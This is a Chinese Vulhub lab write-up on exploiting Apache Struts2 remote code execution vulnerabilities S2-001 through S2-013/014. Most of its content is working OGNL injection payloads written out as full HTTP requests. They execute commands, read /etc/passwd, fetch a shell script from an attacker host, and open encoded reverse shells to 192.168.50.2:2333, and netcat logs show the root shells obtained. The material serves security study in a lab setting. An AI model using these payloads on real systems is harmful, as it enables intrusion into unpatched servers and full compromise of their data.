Vulhub 漏洞学习之:Strust2

Vulhub 漏洞学习之:Strust2

目录

1 S2-001 远程代码执行漏洞

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式%{value}进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

1.1 环境安装

docker-compose up -d
  • 访问http://Your-IP:8080,即可访问目标系统。

1.2 漏洞利用过程

  1. 对漏洞点进行测试,首先在输入框输入%{1+1}测试是否能执行:

    image-20230423173600542

  2. 两个输入框都能成功解析证明漏洞存在。

  3. 尝试获取 Tomcat 执行路径:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

  4. 获取Web路径:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

  5. 执行任意命令:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

    • 单命令:new java.lang.String[]{"pwd"}
    • 若存在空格,则写作:new java.lang.String[]{"cat","/etc/passwd"}

1.3 GetShell

  1. Payload:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

  2. 成功反弹shell:

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 47158
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@bd084e8190b1:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@bd084e8190b1:/usr/local/tomcat# 
    

2 S2-005 远程代码执行漏洞

参考吴翰清的《白帽子讲Web安全》一书。

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

环境

2.1 环境安装

执行以下命令启动s2-001测试环境

2.2 漏洞利用过程

  1. poc:无回显,空格用@代替

    (%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
    
    GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://192.168.50.4:8080/example/HelloWorld.action?request_locale=es
    Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImZjYXJleSIsImV4cCI6MTY4MjUyMTkyMn0.xY9GqGRf9wg_lJTqytq_CdBi12yC5v2rk9UElzIz3Xs; JSESSIONID=81B9385EAB31F6507DC196EDB91AA12D
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    
    
    
    • 进入容器看:存在/tmp/success文件
    • 网上一些POC放到tomcat8下会返回400,研究了一下发现字符\"不能直接放path里,需要urlencode,编码以后再发送就好了。这个POC没回显。
  2. 有回显的POC:

    POST /example/HelloWorld.action HTTP/1.1
    Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
    Host: 192.168.50.4:8080
    Content-Length: 666
    
    redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
    

2.3 GetShell

  1. Get请求方式:|、>无法使用,转变了思路为先下载payload,再执行。

    GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22wget@192.168.50.2%2fshell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    
    
    
    GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22bash@shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    
    
    
    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 43032
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@988d63a9f676:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@988d63a9f676:/usr/local/tomcat# 
    
  2. Post请求方式:

    POST /example/HelloWorld.action HTTP/1.1
    Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
    Host: 192.168.50.4:8080
    Content-Length: 666
    
    redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
    
    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333                  
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 43012
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@988d63a9f676:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@988d63a9f676:/usr/local/tomcat# 
    

3 S2-007 远程代码执行漏洞

影响版本: 2.0.0 - 2.2.3 漏洞详情: http://struts.apache.org/docs/s2-007.html

3.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

3.2 漏洞利用过程

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然后配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3,所以这里给出绕过安全配置进行命令执行的 Payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '

执行任意代码的EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

3.3 GetShell

  1. 在命令执行注入点上注入payload:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}').getInputStream())) + '

    POST /user.action;jsessionid=214E75AD26465410FD9285B4F4CF0F7E HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 468
    Origin: http://192.168.50.4:8080
    Connection: close
    Referer: http://192.168.50.4:8080/
    Cookie: JSESSIONID=214E75AD26465410FD9285B4F4CF0F7E
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    
    name=&email=&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%29+%2B+%27
    
    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 46584
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@c9ab70881cac:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@c9ab70881cac:/usr/local/tomcat#
    

4 S2-008 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.1

漏洞详情: http://struts.apache.org/docs/s2-008.html

4.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

4.2 漏洞利用过程

  1. S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

  2. 例如在 devMode 模式下直接添加参数?debug=command&expression=<OGNL EXP>,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):

    http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
    
    

4.3 GetShell

  1. 执行命令反弹shell:所执行命令需要url编码

    GET /devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29) HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://192.168.50.4:8080/devmode.action
    Cookie: JSESSIONID=263482EE6B5B9FCA3FAB9CF0F43B1BBB
    Upgrade-Insecure-Requests: 1
    Sec-GPC: 1
    DNT: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    
    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 55936
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@a1773bc01fff:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@a1773bc01fff:/usr/local/tomcat# 
    

5 S2-009 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.1.1

漏洞详情: http://struts.apache.org/docs/s2-009.html

5.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

5.2 漏洞利用过程

  1. Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

    但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御。

  2. 测试环境是一个struts2的“功能展示”网站Struts Showcase,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。

    先对S2-009.war进行解压(我用binwalk,其实直接zip就可以),可见源码都在WEB-INF/src目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。

    找到一个WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

    public class Example5Action extends ActionSupport {
    
        private static final long serialVersionUID = 2111967621952300611L;
    
        private String name;
        private Integer age;
    
    
        public String getName() { return name; }
        public void setName(String name) { this.name = name; }
    
        public Integer getAge() { return age; }
        public void setAge(Integer age) { this.age = age; }
    
        @Override
        public String execute() throws Exception {
            return SUCCESS;
        }
    }
    

    代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性this.name,正是符合我们的要求。然后去WEB-INF/src/java/struts-ajax.xml看一下URL路由:

    <package name="ajax" extends="struts-default">
        ...
        <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
            <result name="input">/ajax/tabbedpanel/example5.jsp</result>
            <result>/ajax/tabbedpanel/example5Ok.jsp</result>
        </action>
        ...
    </package>
    

    name=example5,所以访问http://your-ip:8080/ajax/example5.action即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:

    GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
    Host: localhost:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    
    • 由于该POC没有回显,所以调用的是touch /tmp/success命令,查看/tmp目录发现已经成功:
    [root@fcarey s2-009]# docker exec -it s2-009-struts2-1 /bin/bash
    root@a49998959773:/usr/local/tomcat# ls /tmp/
    hsperfdata_root  success
    
    • 也可以通过dnslog验证漏洞是否存在:http://192.168.50.4:8080/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27ping%206niito.dnslog.cn%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
    • 黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。

5.3 GetShell

  1. 执行命令反弹shell:所执行命令需要url编码

    GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=2929717A8926835CDD69831A908F56BD
    Upgrade-Insecure-Requests: 1
    Sec-GPC: 1
    DNT: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    
    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 50646
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@a49998959773:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    

6 S2-012 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.13

漏洞详情: http://struts.apache.org/docs/s2-012.html

6.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

6.2 漏洞利用过程

  1. 如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

    <package name="S2-012" extends="struts-default">
        <action name="user" class="com.demo.action.UserAction">
            <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
            <result name="input">/index.jsp</result>
            <result name="success">/index.jsp</result>
        </action>
    </package>
    
    • 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
  2. 可以直接祭出s2-001中的回显POC,因为这里是没有沙盒,也没有限制任何特殊字符

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

6.3 GetShell

  1. Payload:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

  2. 成功反弹shell

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 59840
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@7926bcf39653:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@7926bcf39653:/usr/local/tomcat#
    

7 S2-013/S2-014 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.14.1

漏洞详情:

7.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

7.2 漏洞利用过程

  1. Struts2 标签中 <s:a><s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

    1. none - 链接不包含请求的任意参数值(默认)
    2. get - 链接只包含 GET 请求中的参数和其值
    3. all - 链接包含 GET 和 POST 所有参数和其值
  2. <s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

    任意命令执行POC:

    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
    // 或
    ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
    
    • 如:http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
  3. S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。

    • http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

7.3 GetShell

  1. 反弹shell:

